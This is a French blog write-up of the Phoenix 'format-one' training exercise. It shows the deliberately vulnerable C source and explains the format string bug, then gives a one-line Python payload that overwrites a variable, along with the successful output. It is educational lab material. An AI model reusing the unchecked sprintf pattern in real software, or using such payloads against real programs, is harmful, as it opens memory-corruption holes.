kiddie
.:: @OREL ::.

Phoenix - Format string - Format 1
[ 05/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/format-one/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
Even more format string fun!
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/format-one, by https://exploit.education * * Can you change the "changeme" variable? * * Why did the Tomato blush? It saw the salad dressing! */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int main(int argc, char **argv) { struct { char dest[32]; volatile int changeme; } locals; char buffer[16]; printf("%s\n", BANNER); if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) { errx(1, "Unable to get buffer"); } buffer[15] = 0; locals.changeme = 0; sprintf(locals.dest, buffer); if (locals.changeme != 0x45764f6c) { printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n", locals.changeme); } else { puts("Well done, the 'changeme' variable has been changed correctly!"); } exit(0); }
Le programme comporte une struture nommée locals composées de deux variables, un tableau de 32 char noté dest et un integer volatile noté changeme, puis, une variable notée buffer définie comme un tableau de 16 est déclarée. La fonction fgets() est appelée, celle-ci va copier le contenu de l'entrée standard dans la variable buffer en limitant la taille de la chaîne copiée à sizeof(buffer) - 1. Ensuite, snprintf() est appelée avec locals.dest et buffer en arguments, le contenu de buffer va être interprété si besoin et copié dans locals.dest. Après cette copie, si changeme vaut 0x45764f6c, l'exercice est réussi.
[1.2 - identification de la vulnérabilité
La vulnérabilité reste la même que celle décrite dans format-zero, l'appelle à la fonction snprintf() permet d'injecter une chaîne formatée qui sera interprétée.
[2 - Méthodologie d'exploitation
Pour l'exploitation, on va s'inspirer de l'exploit précédent pour écrire 32 octets et ajouter 0x45764f6c en little endian.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "%32c" + "\x45\x76\x4f\x6c"[::-1]'\ > | ./format-one Welcome to phoenix/format-one, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed correctly!
[4 - Conclusion
Cet exercice vient compléter format-zero.

Tout est faux tout est conforme.